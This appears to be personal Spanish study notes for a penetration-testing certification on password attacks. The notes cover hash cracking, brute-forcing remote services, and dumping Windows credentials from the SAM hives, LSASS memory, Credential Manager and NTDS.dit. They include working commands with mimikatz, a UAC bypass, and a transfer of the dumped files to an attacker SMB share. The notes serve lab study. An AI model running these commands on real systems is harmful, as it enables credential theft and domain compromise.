ssh2john.py ARCHIVO.private > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show
Ejemplo practico
- Descargamos el ZIP en la Kali para descifrarlo y en Windows para abrirlo correctamente
![[Pasted image 20260610185036.png]]
- Decomprimimos e intentamos acceder
En Kali:
![[Pasted image 20260610185245.png]]
En Windows:
![[Pasted image 20260610185557.png]]
- Lo desciframos
![[Pasted image 20260610190011.png]]
- Comprobamos
![[Pasted image 20260610190032.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 1. Tecnicas De Crackeo (john Y Hashcat)
6. Descifrando Archivos Comprimidos Protegidos
Busqueda de extensiones de archivos comprimidos (FileInfo):
curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt
![[Pasted image 20260610190435.png]]
ZIP
Similar al visto en archivos encoded:
zip2john ARCHIVO.zip > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show
GZIP
No siempre sabremos de primeras si un archivo esta cifrado. Por ejemplo GZIP no tiene funcion nativa de cifrado pero se puede cifrar con openssl
Para verificar si esta cifrado usamos file:
file ARCHIVO.gzip
![[Pasted image 20260610190858.png]]
En los casos que son cifrados con openssl podemos tener muchos FP o que no se identifique de manera correcta la contraseña. Para mitigarlo podemos usar for + openssl:
for i in $(cat /RUTA/WORDLIST);do openssl enc -aes-256-cbc -d -in ARCHIVO.gzip -k $i 2>/dev/null| tar xz;done
Tras esto podremos buscar en el directorio actual archivos recien extraidos:
ls
![[Pasted image 20260610191132.png]]
Descifrando unidades BitLocker
BitLocker es una función de cifrado de disco completo desarrollada por Microsoft. Si se olvida la clave de BitLocker aun se puede usar la clave de recuperacion de 48 digitos
El hash esta dividido en 4:
- 2 primeros para clave BitLocker
- 2 ultimos para contraseña de recuperacion (es muy larga y aleatoria por lo que no es eficiente descifrar esta parte)
- Usamos bilocker2john para obtener el hash solo de la clave BitLocker
bitlocker2john -i ARCHIVO.vhd > ARCHIVO.hashes
grep "bitlocker\$0" ARCHIVO.hashes > ARCHIVO.hash
cat ARCHIVO.hash
- Desciframos con hashcat
hashcat -a 0 -m 22100 'hash' /usr/share/wordlists/rockyou.txt
- Acceder a la unidad cifrada
Doble click sobre el .vhd, primero mostrara un error y despues del montaje hacemos doble click en el volumen Bitlocker y ponemos la contraseña
![[Pasted image 20260610192800.png]]
sudo apt-get install dislocker
- Creamos dos carpetas para montar el VHD
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlockermount
- Usamos loseup para configurar el VHD como Loop device, desciframos la unidad con dislocker y montamos el volumen descifrado
sudo losetup -f -P Backup.vhd
sudo dislocker /dev/loop0p2 -uPASSWORD -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount
- Ya podemos explorar los archivos
cd /media/bitlockermount/
ls -la
- Desmontamos
sudo umount /media/bitlockermount
sudo umount /media/bitlocker
Ejercicio practico
- Descargamos el VHD
![[Pasted image 20260610193500.png]]
- Conseguimos el hash
![[Pasted image 20260610194653.png]]
- Lo desciframos
![[Pasted image 20260610194843.png]]
![[Pasted image 20260610194856.png]]
- Creamos las dos carpetas
![[Pasted image 20260610193608.png]]
- Desciframos
![[Pasted image 20260610194006.png]]![[Pasted image 20260610194445.png]]![[Pasted image 20260610195023.png]]
- Navegamos por el sistema montado
![[Pasted image 20260610195112.png]]
- Desmontamos
![[Pasted image 20260610195150.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 2. Ataques Remotos
1. Servicios De Red
WinRM
Puerto 5985 (HTTP) o 5986 (HTTPS)
Netexec
Para los ataques de contraseña podemos usar Netexec:
sudo apt-get -y install netexec
Para obtener ayuda:
netexec -h
Y para un protocolo especifico:
netexec PROTOCOLO -h
Uso:
netexec PROTOCOLO IP -u USER/USERLIST -p PASS/PASSLIST
![[Pasted image 20260611092059.png]]
Evil-WinRM
sudo gem install evil-winrm
Uso:
evil-winrm -i IP -u USER -p PASSWORD
![[Pasted image 20260611092211.png]]
SSH
Puero 22
3 Metodos de critografica:
- Cifrado simetrico: se usa misma Key para cifrar y descifrar. Se requiere de un metodo de intercambio de claves seguro como (Diffie-Helman, en el que un tercero que obtenga la clave no podra descifrar el contenido porque no conoce el metodo de intercambio)
- Cifrado asimetrico: usa dos Keys, una privada y otra publica. La privada se mantiene secreta porque con ella se pueden descifrar los mensajes que han sido cifrados por la clave publica. Si obtenemos la privada tambien podemos iniciar sesion via SSH sin credenciales
- Hashing: este convierte los datos transmitidos en otro valor unico y SSH usa el hash para verificar su autenticidad. Solo funciona en una direccion
Inicio de sesion con contraseña:
ssh USER@IP
> PASSWORD
Inicio de sesion con clave privada:
ssh USER@IP -i id_rsa
Hydra
Uso:
hydra -L USERLIST -P PASSLIST PRTOCOLO://IP
RDP
Puerto 3389
2 Componentes:
- Servidor terminal: donde se realizan las acciones
- CLiente terminal: a traves desde donde se controla
Aparte de compartir audio, teclado, imagen… tambien se pueden imprimir cosas
Hydra
Uso
hydra -L USERLIST -P PASSLIST PROTOCOLO://IP
XFREERDP
xfreerdp3 /u:USER /p:PASS /v:IP --ssl=0
SMB o SAMBA
Puerto 445: responsable de transferir datos y archivos entre cliente y servidor
Hydra
Puede que de errores porque tengamos una version obsoleta de Hydra que no maneje SMBv3, podemos actualizarla y recompilarla manualmente o usar MSF:
hydra -L USERLIST -P PASSLIST PROTOCOLO://IP
MSF
msfconsole -q
search smb_login
use N
show options
set user_file USERLIST
set pass_file PASSLIST
set rhosts IP
run
Netexec
netexec PROTOCOLO IP -u USER -p PASS --shares
SMBCLIENT Y SMBMAP
SMBCLIENT:
smbclient -N \\\\IP\\ -L
smbclient -U USER \\\\IP\\ -L
smbclient -N \\\\IP\\SHARENAME
smbclient -U USER \\\\IP\\SAHERNAME
>PASS
SMBMAP:
smbmap -H IP
- Enumeracion con credenciales
smbmap -H IP -u USER -p PASS
Ejemplo practico
No funciona el lab pero es usar netexec, hydra y msfconsole para realizar los cracking de credenciales y loggarse a los servicios
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 2. Ataques Remotos
2. Spraying, Stuffing Y Por Defecto
Password Spraying
Se usa un unica contraseña contra varios usuarios finales
Depende del destino se usaran unas aplicaciones u otras: aplicaciones web (Burp Suite) y AD (netexec o kerbrute)
Netexec
netexec PROTOCOLO IP -u USERLIST -p 'PASS'
Password Stuffing
Se usan credenicales robadas de un servicio para intentar acceder a otros servicios aprovechando la reutilizacion
Tambien se pueden usar muchas herramietnas dependiendo del destino
Hydra
hydra -C USER_PASS.LIST PROTOCOLO://IP
-C USER_PASS.LIST: lista con pares user:pass
Credenciales por defecto
Hoja de referencia de credenciales predeterminadas
Lista de credenciales predeterminada
Busqueda de credenciales por terminal
pip3 install defaultcreds-cheat-sheet
Una vez instalada podemos buscar credenciales predeterminadas por un producto o proveedor especifico
creds search PRODUCTO/PROVEEDOR
![[Pasted image 20260611101142.png]]
Tras esto podemos usar hydra con los pares user:pass:
hydra -C USER_PASS.LIST PROTOCOLO://IP
Ejemplo practico
- Miramos creds por defecto de MySQL
![[Pasted image 20260611102912.png]]
- Nos conectamos por SSH e iniciamos sesion en MySQL hasta encontrar la correcta aunque podriamos haber usado hydra -C USER_PASS/list mysql://IP
![[Pasted image 20260611102920.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 3. Extraccion De Credenciales Windows
1. Proceso De Autenticacion En Windows
1. Proceso general de autenticación en Windows
Cuando un usuario inicia sesión en Windows, independientemente de si la cuenta es local o pertenece a un dominio, existe una secuencia de componentes que colaboran para verificar su identidad y crear una sesión de trabajo. El objetivo final es demostrar que el usuario es quien dice ser y generar un token de acceso que determinará qué recursos podrá utilizar durante la sesión.
Todo comienza cuando el usuario introduce sus credenciales en la pantalla de inicio de sesión. La interfaz gráfica que vemos pertenece a LogonUI.exe, pero quien realmente controla el proceso es Winlogon.exe, un proceso privilegiado que supervisa todos los eventos relacionados con el inicio y cierre de sesión, el bloqueo de pantalla y el cambio de contraseña.
Las credenciales introducidas son capturadas mediante un Credential Provider, que es una DLL encargada de recoger el usuario, contraseña, PIN o cualquier otro mecanismo de autenticación configurado. Una vez obtenidas, Winlogon las entrega al servicio LSASS.exe (Local Security Authority Subsystem Service).
LSASS constituye el núcleo de la autenticación en Windows. Es el encargado de decidir qué mecanismo debe utilizarse para verificar las credenciales. Dependiendo de si se trata de una cuenta local o de dominio, cargará diferentes paquetes de autenticación, como Msv1_0.dll para NTLM o Kerberos.dll para Kerberos.
Si la autenticación es satisfactoria, LSASS genera un Access Token. Este token contiene el SID del usuario, los SID de los grupos a los que pertenece, los privilegios asignados y otra información de seguridad. A partir de ese momento, Windows ya no utiliza continuamente la contraseña del usuario, sino ese token para determinar qué acciones puede realizar.
Finalmente, Winlogon inicia el entorno de usuario mediante Userinit.exe, que a su vez lanza Explorer.exe, mostrando el escritorio y completando el proceso de inicio de sesión.
Flujo general
Usuario
│
▼
LogonUI.exe
│
▼
Winlogon.exe
│
▼
LSASS.exe
│
├── Kerberos.dll
└── Msv1_0.dll
│
▼
Autenticación correcta
│
▼
Creación Access Token
│
▼
Userinit.exe
│
▼
Explorer.exe
2. Proceso de autenticación local
Cuando un equipo no pertenece a un dominio o el usuario inicia sesión utilizando una cuenta local, la validación se realiza íntegramente en el propio sistema operativo sin necesidad de contactar con ningún servidor externo.
El usuario introduce sus credenciales y, como en cualquier inicio de sesión, Winlogon las envía a LSASS. En este caso LSASS utiliza principalmente el paquete de autenticación Msv1_0.dll, que implementa NTLM para autenticaciones locales.
El siguiente paso consiste en consultar la base de datos SAM (Security Account Manager). Aunque solemos hablar de ella como un fichero, realmente se encuentra cargada en el registro de Windows bajo la rama HKLM\SAM, y físicamente se almacena en:
C:\Windows\System32\Config\SAM
Dentro de la SAM no se almacenan contraseñas en texto plano, sino hashes NTLM de las contraseñas. Cuando el usuario introduce su contraseña, Windows calcula nuevamente su hash NTLM y lo compara con el hash almacenado para esa cuenta.
Si ambos coinciden, LSASS considera que el usuario conoce la contraseña correcta y autoriza el acceso. En ese momento genera el token de acceso correspondiente y se inicia la sesión.
Es importante entender que durante una autenticación local nunca se consulta Active Directory ni el fichero NTDS.dit. Toda la información necesaria para validar la identidad del usuario se encuentra almacenada localmente en la SAM.
HKLM
**HKLM significa: HKEY_LOCAL_MACHINE y son Registros de memoria de Windows. El Registro de Windows es una base de datos jerárquica donde Windows almacena configuración del sistema, hardware, software, usuarios, servicios, etc.
![[Pasted image 20260611112925.png]]
Cuando Windows arranca, carga el fichero C:\Windows\System32\Config\SAM en memoria y lo monta dentro del Registro como HKLM\SAM
Por tanto, para el sistema operativo C:\Windows\System32\Config\SAM es el fichero físico en disco, mientras que:HKLM\SAM es la forma de acceder a esos datos una vez cargados en memoria a través del Registro.
Es lo mismo que C:\Windows\System32\Config\SAM pero llamado de otra forma para el propio sistema que cuando lo llama obtiene el contenido de C:\Windows\System32\Config\SAM
**
Flujo autenticación local
Usuario
│
▼
Winlogon.exe
│
▼
LSASS.exe
│
▼
Msv1_0.dll
│
▼
SAM
(Cuentas locales)
│
▼
Comparación hash NTLM
│
▼
Access Token
│
▼
Escritorio
Cuando un equipo pertenece a un dominio Active Directory, el mecanismo de autenticación predeterminado es Kerberos. En lugar de validar las credenciales contra la SAM local, el cliente necesita demostrar su identidad ante un Controlador de Dominio.
En un dominio, cada Controlador de Dominio almacena una copia de la base de datos Active Directory en el fichero NTDS.dit. Dentro de esta base de datos se encuentran las cuentas de usuario, grupos, equipos y multitud de objetos adicionales.
Kerberos se basa en el uso de tickets. La idea fundamental es que el usuario se autentica una sola vez ante el Controlador de Dominio y recibe un ticket que posteriormente utilizará para acceder a otros servicios sin volver a enviar su contraseña.
Cuando el usuario introduce sus credenciales, LSASS utiliza Kerberos.dll para iniciar el protocolo. El cliente envía un mensaje denominado AS-REQ (Authentication Service Request) al KDC (Key Distribution Center), que es un servicio integrado en el propio Controlador de Dominio.
El KDC consulta Active Directory para localizar la cuenta del usuario y obtener la información necesaria para verificarla. Si todo es correcto, responde con un AS-REP que contiene un TGT (Ticket Granting Ticket).
Este TGT funciona como una especie de “acreditación temporal”. Gracias a él, el usuario ya no necesita volver a demostrar quién es ante el KDC. Cuando quiera acceder a un recurso concreto, como un servidor de ficheros o una aplicación corporativa, utilizará ese TGT para solicitar un ticket específico para dicho servicio.
El cliente envía entonces un TGS-REQ al KDC. Tras verificar el TGT, el KDC responde con un TGS-REP que contiene un Service Ticket.
Finalmente, el cliente presenta ese Service Ticket al servidor deseado mediante un AP-REQ. Si el servidor valida correctamente el ticket, concede el acceso sin que el usuario tenga que volver a introducir la contraseña.
La gran ventaja de Kerberos es que la contraseña nunca viaja por la red y los servicios no necesitan conocerla para autenticar al usuario.
Flujo Kerberos
Usuario
│
▼
Winlogon.exe
│
▼
LSASS.exe
│
▼
Kerberos.dll
│
▼
AS-REQ
│
▼
KDC (DC)
│
▼
AS-REP + TGT
│
▼
TGS-REQ
│
▼
KDC (DC)
│
▼
TGS-REP + Service Ticket
│
▼
AP-REQ
│
▼
Servidor destino
│
▼
Acceso concedido
Aunque Kerberos es el protocolo principal en Active Directory, NTLM sigue estando presente por motivos de compatibilidad. Se utiliza cuando Kerberos no puede emplearse, por ejemplo cuando se accede a recursos mediante una dirección IP en lugar de un nombre DNS, cuando existen relaciones de confianza especiales o cuando intervienen sistemas antiguos.
A diferencia de Kerberos, NTLM no utiliza tickets. Se basa en un mecanismo denominado Challenge-Response.
Cuando el usuario intenta autenticarse, el cliente envía un mensaje inicial indicando que desea utilizar NTLM. El servidor responde generando un valor aleatorio llamado Challenge o Nonce.
El cliente toma dicho desafío y lo combina con información derivada del hash NTLM de la contraseña del usuario para generar una respuesta criptográfica. Esa respuesta se envía al servidor.
El servidor, por sí solo, normalmente no puede verificarla. Por ello contacta con un Controlador de Dominio. El DC consulta Active Directory (NTDS.dit), recupera el hash NTLM almacenado para ese usuario y realiza exactamente el mismo cálculo. Si obtiene el mismo resultado que recibió del cliente, concluye que el usuario conoce la contraseña correcta.
Es importante destacar que el cliente nunca envía directamente la contraseña, pero la autenticación sigue dependiendo del hash NTLM almacenado en Active Directory. Por este motivo NTLM es más vulnerable a ciertos ataques como Pass-the-Hash que Kerberos.
Flujo NTLM
Usuario
│
▼
Winlogon.exe
│
▼
LSASS.exe
│
▼
Msv1_0.dll
│
▼
NEGOTIATE
│
▼
Servidor
│
▼
CHALLENGE
│
▼
Cliente genera respuesta
│
▼
AUTHENTICATE
│
▼
Controlador de Dominio
│
▼
NTDS.dit
│
▼
Validación hash NTLM
│
▼
Acceso concedido
Si estás estudiando para CPTS/OSCP, el esquema mental más útil es:
Local → SAM → NTLM → hash local
Dominio (normal) → Kerberos → TGT → Service Ticket
Dominio (compatibilidad) → NTLM → Challenge/Response → validación contra NTDS.dit.
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 3. Extraccion De Credenciales Windows
2. Atacando Sam, System Y Security
Con acceso admin a un sistema podemos volcar los archivos relacionados con SAM, transferirlos a nuestro host y descifrarlos offline
Registry hives o Registros de Windows
Hay 3 tipos que podemos copiar con acceso admin. Cada uno cumple un proposito:
| Registry Hives |
Descripcion |
| HKLM\SAM |
Contiene hashes y contraseñas para cuentas locales |
| HKLM\SYSTEM |
Almacena la clave de arranque del sistema que se usa para cifrar el SAM (necesaria para descifrar los hashes) |
| HKLM\SECURITY |
Contiene info confidencial usada por LSA como credenciales de dominio en cache, contraseñas en texto sin formato, claves DPAPI… |
Para hacer una copia de seguridad de estas usaremos: reg.exe
Reg.exe para copiar Registry Hives
- Iniciamos cmd con permisos de administrador
- Ejecutamos reg.exe
reg.exe save hklm\sam C:\NOMBRE.save
reg.exe save hklm\system C:\NOMBRE.save
reg.exe save hklm\security C:\NOMBRE.save
Si solo queremos los hashes locales con el SAM y SYSTEM sirve, pero SECURITY suele ser util porque puede contener datos de credenciales de usaurios de dominio
- Usar metodos de transferencia para pasarlo a nuestro host. Ejemplo con smbserver:
- Desde el host de ataque levantamos el smbserver:
sudo impacket-smbserver -smb2support SHARENAME /home/kali/...
- Desde el host objetivo usamos move:
move NOMBRE.save \\IP\SHARENAME
- Secretsdump para volcado de hashes
sudo impacket-secretsdump -sam NOMBRE.save -system NOMBRE.save -security NOMBRE.save LOCAL
En la salida podemos ver como lo primero que hace secretsdump es devolver el SYSTEM bootkey antes que los hashes SAM porque es la clave que encripta y desencripta el SAM al inicio:
![[Pasted image 20260611120159.png]]
Esto nos dice como interpretar la salida (LM hash se usa en sistemas antiguos y NT hash en modernos):
![[Pasted image 20260611120555.png]]
Se volcaran los hashes de SAM junto con datos de SECURITY (indo de inicio de sesion del dominio en cache, secretos LSA como claves usuario para DPAPI)
Crackeando los hashes
Hashes NT
![[Pasted image 20260611120555.png]]
- Creamos un archivo como los hashes NT
![[Pasted image 20260611120616.png]]
- Usamos hashcat contra NT hashes
- Podemos mirar el -m N para saber que N usar con:
hashcat --help
![[Pasted image 20260610131709.png]]
hashcat -m 1000 ARCHIVO.txt
Hashes DCC2 (HKLM\SECURITY)
Contienen informacion de inicios de sesion de dominio almacenadas en cache. Descifrar estos hashes es mucho mas lento
Ejemplo:
inlanefreight.local/Administrator:$DCC2$10240#administrator#23d97555681813db79b2ade4b4a6ff25
- Usamos hashcat contra NT hashes
- Podemos mirar el -m N para saber que N usar con:
hashcat --help
![[Pasted image 20260610131709.png]]
hashcat -m 2100 `$DCC2$HASH` WORDLIST
DPAPI
DPAPI (Data Protection API) es un mecanismo de Windows diseñado para que aplicaciones y usuarios puedan **cifrar y descifrar datos sin tener que gestionar directamente claves criptográficas. Con esto se consigue que la proxima vez que el usuario inicie sesion se haga automaticamente usando DPAPI
![[Pasted image 20260611121451.png]]
Estas se pueden descifrar con dpapi de Impacket o mimikatz o de forma remota con DonPapi:
Ejemplo:
mimikatz.exe
dpapi::chrome /in:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect
Para sacar hashes: sekurlsa::logonpasswords
![[Pasted image 20260611121712.png]]
Dumping de credenciales y LSA secrets remoto
Dumping LSA remoto
Con privilegios de local admin podemos tener como objetivo los LSA secrets. Esto nos extraera credenciales de servicios que estan corriendo, schedule task o aplicaciones que se guardan usando LSA secrets
netexec smb IP --local-auth -u USER -p PASS --lsa
![[Pasted image 20260611122011.png]]
Dumping SAM remoto
netexec smb IP --local-auth -u USER -p PASS --sam
![[Pasted image 20260611122123.png]]
Ejemplo practico
- Nos conectamos y abrimos un cmd como admin para obtener los archivos de copia
![[Pasted image 20260611122851.png]]![[Pasted image 20260611123043.png]]
-
Nos creamos un smbserver y los pasamos a la kali
![[Pasted image 20260611123203.png]]![[Pasted image 20260611123428.png]]
-
Extraemos los hashes
![[Pasted image 20260611123623.png]]
-
Desciframos el NT hash de ITbackdoor
![[Pasted image 20260611123726.png]]
![[Pasted image 20260611123738.png]]
![[Pasted image 20260611124203.png]]
- Hacemos un volcado remoto de LSA
![[Pasted image 20260611124246.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 3. Extraccion De Credenciales Windows
3. Atacando Lsass
LSASS es un proceso central de Windows que es responsable de hacer cumplir las politicas de seguridad, manejar la autenticacion de usuarios y almacenar material de credenciales confidenciales en memoria
Al iniciar sesion LSASS:
- Almacenar en caché las credenciales localmente en la memoria
- Crear tokens de acceso
- Hacer cumplir las políticas de seguridad
- Escriba al registro de seguridad de Windows
Dumping de memoria de LSASS
Se creara una copia del contenido de la memoria del proceso LSASS mediante el dumping de memoria. Esto nos permitira extraer las credenciales sin conexion usando nuestro host
Formas de realizar el dumping para hacer una copia de la memoria de LSASS:
Metodo del administrador de tareas
Se necesita acceso a la interfaz grafica
- Abrimos el Task Manager
- Seleccionamos la pestaña de Processes
- Buscamos y hacemos click derecho en Local Security Authorty Process
- Seleccionamos Create dump file
Con esto se creara un archivo “lsass.DMP” en %temp% que es el archivo que trasnferiremos al host de ataque
![[Pasted image 20260611133220.png]]
Transferencia a host de ataque. Ejemplo con smbserver:
- Desde el host de ataque levantamos el smbserver:
sudo impacket-smbserver -smb2support SHARENAME /home/kali/...
- Desde el host objetivo usamos move:
move NOMBRE.save \\IP\SHARENAME
Metodo rundll32.exe y comsvcs.dll
No hace falta sesion interactiva. Las herramientas AV modernas reconocen este metodo
- Identificar el ID del procesos lsass.exe
cmd> tasklist /svc
PS> Get-Process lsass
![[Pasted image 20260611133513.png]]![[Pasted image 20260611133551.png]]
- Creacion de un archivo de volcado con rundll32
PS> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
- Transferencia a host de ataque. Ejemplo con smbserver:
- Desde el host de ataque levantamos el smbserver:
sudo impacket-smbserver -smb2support SHARENAME /home/kali/...
- Desde el host objetivo usamos move:
move NOMBRE.save \\IP\SHARENAME
Una vez obtenido el .dmp podemos usar pypykatz para extraer las credenciales. Es una implementacion de Mimikatz pero en Python para poder ser ejecutada en Linux
LSASS almacena credenciales de sesiones activas por lo que cuando hacemos el volcado en realidad es una INSTANTEA de lo que habia en memoria en ese momento
- Uso de pypykatz
pypykatz lsa minidump /RUTA.ARCHIVO.dmp
![[Pasted image 20260611134214.png]]
Informacion util:
- MSV: paquete de autenticacion Windows al que LSA llama para validad los intentos de inicio de sesion en la base de datos SAM
![[Pasted image 20260611134250.png]]
- WDIGEST: protocolo de autenticacion antiguo habilitado de forma predeterminada en Windows XP,8, Server 2003 y 2012. Guarda las credenciales en texto plano
![[Pasted image 20260611134423.png]]
- Kerberos: protocolo de autenticacion de red de AD. Las cuentas de usuario reciben tickets tras su autenticacion en AD que se usa para acceder a recursos compartidos de red. Passwords, tickets, pins… que son usados para acceder a otros servicios son posibles de extraer desde aqui
![[Pasted image 20260611134548.png]]
- DPAPI: se puede extraer el masterkey de DPAPI para usaurios conectados. Esta se puede usar posteriormente para descifrar credenciales de aplicaciones asociadas a DPAPI (se tratan en la escalada de privilegios)
![[Pasted image 20260611134750.png]]
Descifrando hash NT obtenido
sudo hashcat -a 0 -m 1000 'HASH' /RUTA/WORDLIST
Ejemplo practico
- Nos conectamos via RDP
![[Pasted image 20260611135305.png]]
- Hacemos volcado de lsass de las dos formas, interactiva y a traves de terminal
![[Pasted image 20260611135433.png]]![[Pasted image 20260611135459.png]]
C:\Users\HTB-ST~1\AppData\Local\Temp\lsass.dmp
![[Pasted image 20260611135818.png]]
- Terminal: Abrimos PS como admin
![[Pasted image 20260611135804.png]]
- Lo pasamos a nuestra kali
![[Pasted image 20260611135914.png]]
![[Pasted image 20260611140107.png]]
- Volcamos el contenido con pypykatz
![[Pasted image 20260611140221.png]]![[Pasted image 20260611140256.png]]
- Desciframos
![[Pasted image 20260611140413.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 3. Extraccion De Credenciales Windows
4. Atacando Windows Credential Manager
Windows Vault y Credential Manager
Credential Manager permite a los usuarios y aplicaciones almacenar de forma segura credenciales relevantes para otrs sistemas y sitios web. Se almacenan en carpetas cifradas:
%UserProfile%\AppData\Local\Microsoft\Vault\
%UserProfile%\AppData\Local\Microsoft\Credentials\
%UserProfile%\AppData\Roaming\Microsoft\Vault\
%ProgramData%\Microsoft\Vault\
%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
Cada carpeta de boveda tiene un archivo Policy.vpol que contiene claves AES protegido por DPAPI. Estas claves AES se usan para cifrar las credenciales
Las nuevas versiones de Windows usan Credential Guard para proteger aun mas las claves maestras de DPAPI
Credential Manager es la funcion/API orientada a usuarios mientras que los almacenes cifrados son las carpetas o bovedas
2 tipos de credenciales:
- Credential web: Credenciales asociadas a sitios web y cuentas en linea
- Credenciales Windows: se usa para almacenar tokens de inicio de sesion para diversos servicios y cuentas asociadas a usuarios, recursos…
Creacion de copias Windows Vault
Los Windows Vault se pueden exportar en archivos .crd a traves del Panel de Control o mediante el uso de rundll32. Se cifran con una contraseña proporcionada por el usuario y se pueden exportar a otros sistemas Windows:
![[Pasted image 20260611185947.png]]
rundll32 keymgr.dll,KRShowKeyMgr
![[Pasted image 20260611190144.png]]
Enumeracion de credenciales con cmdkey y uso runas
cmdkey: enumera credenciales almacenadas en el perfil del usuario
- Listado de credenciales:
cmdkey /list
![[Pasted image 20260611190351.png]]
Explicacion de la salida:
| Clave |
Valor |
| Target |
Recurso o nombre de cuenta para el que sirve la credencial (computadora, nombre de dominio…) |
| Type |
Tipo de credencial (Generic, Domain Password…) |
| User |
Cuenta de usuario asociada |
| Persistencia |
Indica si se guarda de forma persistente (las Local machine persistence resisten a reinicios) |
- La segunda credencial encontrada en la salida (Domain:interactive=SRV01\mcharles) es una contraseña de dominio que puede ser usada con runas para abrir una terminal interactiva y hacernos pasar por el usuario
runas /savecred /user:SRV01\mcharles cmd
![[Pasted image 20260611190840.png]]
Antes de esto necesitaremos una cuenta administrador. Podemos usar esta tecnica que nos permite ejecutar un proceso como administrador sin el aviso de UAC. Ejecutaremos un cmd.exe modificando un Registry Hive mediante la ejecucion de otro .exe:
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f && reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd.exe" /f && start computerdefaults.exe
Se pueden usar muchas herramientas para descifrar las credenciales almacenadas. Con mimikatz. poder usar el modulo sekurlsa para volcarlas de la memoria o descifrarlas manualmente usando el modulo dpapi
mimikatz.exe
privilege::debug
sekurlsa::credman o logonpasswords(OBTINE HASHES TAMBIEN)
![[Pasted image 20260611191130.png]]
Nota: Algunas otras herramientas que pueden usarse para enumerar y extraer credenciales almacenadas incluyen SharpDPAPI, LaZagne y DonPAPI.
Ejemplo practico
- Nos conectamos via RDP
![[Pasted image 20260611192315.png]]
- Miramos las credenciales almacenadas
![[Pasted image 20260611192441.png]]
- Usamos runas para hacernos pasar por el usuario del cual tenemos una credencial de Dominio guardada
![[Pasted image 20260611192613.png]]
- Vamos a pasarle mimikatz.exe pero primero debemos saber la arquitectura con sysinfo
![[Pasted image 20260611193321.png]]
- Creamos un servidor smb para pasar el mimikatz.exe de (https://github.com/ParrotSec/mimikatz.git)
![[Pasted image 20260611193409.png]]![[Pasted image 20260611193518.png]]
Hay que ponerle credenciales al smbshare
![[Pasted image 20260611194007.png]]
![[Pasted image 20260611193955.png]]
- Usamos mimiaktz pero primero debemos escalar privilegios para poder ejecutar mimikatz
![[Pasted image 20260611195229.png]]
![[Pasted image 20260611195350.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 3. Extraccion De Credenciales Windows
5. Atacando AD Y Ntds.dit
En este caso, una vez que una maquina esta unida a un dominio, cuando se autentique ya no contrastara la informacion con el SAM local sino que ahora enviara las solicitudes al KDC para verificar las solicitudes
No significa que no se pueda usar SAM para la autenticacion de cuentas locales
Ataques de diccionario a cuentas AD que usan NetExec
Se trata de tratar de adivinar el usuarios o contraseña mediante la comparacion de una wordlist. Puede generar mucho trafico en la red y ser ruidoso o incluso generar rechazos
Podemos realizar una busqueda en sitios web de la emrpesa y RRSS para la busqueda de empleados. Las empresas suelen usar nomenglaturas para los nombres de usuario. Ejemplos de nomenglaturas:
![[Pasted image 20260611200630.png]]
Tambien nos podremos fijar en el nombre del correo: USERNAME@dominio
Imaginemos que hemos encontrado los siguientes nombres en nuestra busqueda:
![[Pasted image 20260611200819.png]]
Podemos crear una wordlist con la combinacion de nombres y nomenglaturas de forma manual:
![[Pasted image 20260611200843.png]]
O tambien de forma automatica mediante el uso de Username Anarchy:
./username-anarchy -i ARCHIVO.txt
![[Pasted image 20260611200958.png]]
Enumeracion de nombres de usuario validos con Kerbrute
Kerbrute: se puede usar para fuerza bruta, password spraying y enumeracion de usuarios
https://github.com/ropnop/kerbrute/releases/tag/v1.0.3
Enumeracion de usuarios:
./kerbrute_linux_amd64 userenum --dc IP_KDC --domain DOMAIN ARCHIVO.txt
![[Pasted image 20260611201214.png]]
Lanzar ataque de fuerza bruta con NetExec
Una vez tengamos la lista o descubramos la nomenglaruta y algunos nombres podemos hacer un ataque de fuerza bruta contra el KDC:
netexec smb IP_KDC -u USER -p /usr/share/wordlists/fasttrack.txt
Es posible que bloquemos la cuenta a la que nos dirigimos, pero por defecto la politica de bloqueo no se aplica de forma predeterminada por lo que puede haber sistemas vulnerables
Estas acciones de fuerza bruta pueden quedar registradas en Event Viewer en los Security Logs:
![[Pasted image 20260611201713.png]]
Capturando el NTDS.dit
NTDS es el servicio de directorio usado por AD para encontrar y organizar recursos de red
.dit significa árbol de información de directorio
NTDS.dit es el archivo base de datos principal asociado al AD y almacena todos los nombres de usuario de dominio, hashes de contraseñas y otra informacion. Con este archivo se podrian comprometer potencialmente todas las credenciales del dominio
- Nos conectamos al KDC
evil-winrm -i IP -u USER -p PASS
- Comprobamos los privilegios del usuario, podemos analizar la membresia del grupo local. Buscamos que este dentro de Administrators o Domain Admins o equivalentes:
net localgroup
![[Pasted image 20260611203920.png]]
- Comprobamos priovilegios cuenta de usuario incluido el dominio. En este caso tenemos privilegios tanto de administrador como adminsitrador de dominio por lo que podemos hacer casi todo:
net user USER
![[Pasted image 20260611204101.png]]
- Creamos una copia oculta de C: con vssadmin (o del volumen necesario pero es muy probable que NTDS.dit se encuentre en C: ya que es la ubicacion predeterminada). VSS permite crear una copia que se pueda leer y escribir activamente
vssadmin CREATE SHADOW /For=C:
![[Pasted image 20260611204401.png]]
- Copiamos NTDS.dit con VSS desde la copia oculta de C: a otra ubicacion para prepararnos para enviarla a nuestro host de ataque:
